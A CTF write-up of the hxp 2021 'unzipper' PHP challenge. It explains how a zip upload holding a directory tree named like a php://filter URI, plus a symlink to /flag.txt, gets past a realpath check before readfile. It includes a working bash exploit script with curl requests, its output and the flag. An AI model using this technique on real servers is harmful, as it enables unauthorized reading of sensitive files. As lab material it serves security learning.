Tags: web zip php filters realpath
Rating:
All operations occur in a sandboxed directory generated for each new session.
It has two important paths:
* If a file is uploaded, it will be unzipped in the sandboxed directory.
* Otherwise, if a `file` GET parameter is provided, it performs the following:
1. Check if the word 'flag' is not in the path resolved by `realpath($_GET['file'])`.
2. If it passes, run `readfile($_GET['file'])`.
Note that a symbolic link is not possible to be used directly. From the [man page for
realpath](https://man7.org/linux/man-pages/man3/realpath.3.html):
```
realpath() expands all symbolic links and resolves references to
/./, /../ and extra '/' characters in the null-terminated string
named by path to produce a canonicalized absolute pathname. The
resulting pathname is stored as a null-terminated string, up to a
maximum of PATH_MAX bytes, in the buffer pointed to by
resolved_path. The resulting path will have no symbolic link,
/./ or /../ components.
```
The problem here is that `realpath` and `readfile` contain an incongruence in the way they process
the path passed to it. [Protocol schemes and wrappers](https://www.php.net/manual/en/wrappers.php)
can be specified in the input to `readfile` but `realpath` expects a strict unix path. Thus, we can
use this confusion in conjunction with our ability to create directories and files with the zip file
to force `realpath` into resolving a valid UNIX path but cause `readfile` to process a `php://` URI.
To execute `readfile("php://filter/convert.base64-encode/resource=exploit")`, we need the following
directory structure:
```
php:/
php:/filter/
php:/filter/convert.base64-encode/
php:/filter/convert.base64-encode/resource=exploit
```
This allows us to read from the `exploit` file which can be a symlink to `/flag.txt`. Zipping up
this directory structure plus the symlink and triggering the file read path grants us the flag.
The exploit is as follows. This could probably have been simplified with the `file://` scheme but
this probably demonstrates the directory structure better.
```bash
#!/bin/bash
rm -rf exploit.dir
mkdir -p exploit.dir
pushd exploit.dir
TARGET='http://65.108.176.76:8200'
EPATH='php://filter/convert.base64-encode/resource=exploit'
mkdir -p $EPATH
ln -s /flag.txt exploit
zip -y -r exploit.zip *
curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "[email protected]"
curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d
echo
popd
```
Running the exploit to get the flag:
```console
vagrant@ubuntu-xenial:/vagrant/hxp/unzipper$ bash exploit.sh
/vagrant/hxp/unzipper/exploit.dir /vagrant/hxp/unzipper
adding: exploit (stored 0%)
adding: php:/ (stored 0%)
adding: php:/filter/ (stored 0%)
adding: php:/filter/convert.base64-encode/ (stored 0%)
adding: php:/filter/convert.base64-encode/resource=exploit/ (stored 0%)
hxp{at_least_we_have_all_the_performance_in_the_world..._lolphp_:/}
/vagrant/hxp/unzipper
vagrant@ubuntu-xenial:/vagrant/hxp/unzipper$
```
The generated directory containing the zip file and the zipped contents looks like so:
```console
$ find exploit.dir
exploit.dir
exploit.dir/exploit
exploit.dir/exploit.zip
exploit.dir/php:
exploit.dir/php:/filter
exploit.dir/php:/filter/convert.base64-encode
exploit.dir/php:/filter/convert.base64-encode/resource=exploit
```
**Flag:** `hxp{at_least_we_have_all_the_performance_in_the_world..._lolphp_:/}`
Full writeup: [https://nandynarwhals.org/hxp-ctf-2021-unzipper/](https://nandynarwhals.org/hxp-ctf-2021-unzipper/)